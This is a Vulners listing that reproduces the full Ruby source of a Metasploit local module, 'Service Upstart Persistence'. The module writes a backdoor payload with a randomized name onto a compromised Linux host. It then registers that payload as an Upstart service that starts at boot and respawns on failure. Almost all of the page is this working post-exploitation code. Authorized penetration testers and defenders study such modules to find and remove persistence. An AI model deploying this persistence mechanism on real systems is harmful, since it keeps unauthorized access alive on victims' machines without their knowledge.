Lucene search
K

Service Upstart Persistence

🗓️ 31 Oct 2025 18:58:29Reported by h00dieType 
metasploit
 metasploit
🔗 www.rapid7.com👁 515 Views

Creates an Upstart persistence service with auto-restart on Linux targets.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Unix
  include Msf::Exploit::EXE # for generate_payload_exe
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Deprecated
  moved_from 'exploits/linux/local/service_persistence'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Service Upstart Persistence',
        'Description' => %q{
          This module will create a service on the box, and mark it for auto-restart.
          We need enough access to write service files and potentially restart services
          Targets:
          CentOS 6
          Fedora >= 9, < 15
          Ubuntu >= 9.10, <= 14.10
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die',
        ],
        'Platform' => ['unix', 'linux'],
        'Targets' => [
          [
            'Upstart', {
              runlevel: '2345'
            }
          ],
        ],
        'DefaultTarget' => 0,
        'Privileged' => true,
        'Arch' => [
          ARCH_CMD,
          ARCH_X86,
          ARCH_X64,
          ARCH_ARMLE,
          ARCH_AARCH64,
          ARCH_PPC,
          ARCH_MIPSLE,
          ARCH_MIPSBE
        ],
        'References' => [
          ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'],
          ['ATT&CK', Mitre::Attack::Technique::T1543_CREATE_OR_MODIFY_SYSTEM_PROCESS],
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
          ['URL', 'http://blog.terminal.com/getting-started-with-upstart/']
        ],
        'SessionTypes' => ['shell', 'meterpreter'],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
        },
        'DisclosureDate' => '2006-08-24' # upstart release date
      )
    )

    register_options(
      [
        OptString.new('PAYLOAD_NAME', [false, 'Name of shell file to write']),
        OptString.new('SERVICE', [false, 'Name of service to create']),
        OptInt.new('RESTART_LIMIT', [false, 'Name of service to create', 3]),
        OptEnum.new('INIT_FOLDER', [false, 'Init folder location', 'auto', ['auto', 'init', 'init.d']])
      ]
    )
  end

  def init_folder
    if datastore['INIT_FOLDER'] == 'init' ||
       (
         datastore['INIT_FOLDER'] == 'auto' &&
         exists?('/etc/init')
       )
      return '/etc/init'
    end

    '/etc/init.d'
  end

  def check
    print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
    return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
    return CheckCode::Safe("#{init_folder} isnt writable") unless writable?(init_folder)

    return CheckCode::Safe('Likely not an upstart based system') unless command_exists?('initctl')

    CheckCode::Appears("#{writable_dir} is writable and system is upstart based")
  end

  def install_persistence
    backdoor = write_shell(writable_dir)

    path = backdoor.split('/')[0...-1].join('/')
    file = backdoor.split('/')[-1]

    upstart(path, file, target.opts[:runlevel])
  end

  def write_shell(path)
    file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
    backdoor = "#{path}/#{file_name}"
    vprint_status("Writing backdoor to #{backdoor}")
    if payload.arch.first == 'cmd'
      write_file(backdoor, payload.encoded)
      chmod(backdoor, 0o711)
    else
      upload_and_chmodx backdoor, generate_payload_exe
    end
    @clean_up_rc << "rm #{backdoor}\n"

    fail_with(Failure::NoAccess, 'File not written, check permissions.') unless file_exist?(backdoor)

    backdoor
  end

  def upstart(backdoor_path, backdoor_file, runlevel)
    script = <<~EOF
      description "Start daemon at boot time"
      start on filesystem or runlevel [#{runlevel}]
      stop on shutdown
      # Ensure only one instance runs
      pre-start script
          if [ -f /var/run/#{backdoor_file}.pid ] && kill -0 $(cat /var/run/#{backdoor_file}.pid) 2>/dev/null; then
              echo "#{backdoor_file} is already running."
              exit 1
          fi
      end script
      script
          echo $$ > /var/run/#{backdoor_file}.pid
          exec #{backdoor_path}/#{backdoor_file}
      end script
      post-stop script
          rm -f /var/run/#{backdoor_file}.pid
          sleep 10
      end script
      respawn
      respawn limit #{datastore['RESTART_LIMIT']} 300
    EOF
    service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)
    service_name = "#{init_folder}/#{service_filename}.conf"
    vprint_status("Writing service: #{service_name}")
    write_file(service_name, script)

    fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_name)

    @clean_up_rc << "rm #{service_name}"
    vprint_status('Starting service')
    cmd_exec("initctl start #{service_filename}")
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Jun 2026 19:01Current
5.8Medium risk
Vulners AI Score5.8
515